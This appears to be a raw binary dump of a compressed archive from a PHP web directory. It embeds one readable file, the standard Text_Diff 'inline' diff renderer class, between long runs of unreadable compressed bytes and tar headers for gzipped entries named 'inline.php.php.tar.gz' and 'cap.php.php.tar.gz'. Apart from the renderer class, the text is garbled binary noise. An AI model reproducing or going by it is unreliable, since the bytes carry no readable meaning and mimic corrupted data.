)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\ \      Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
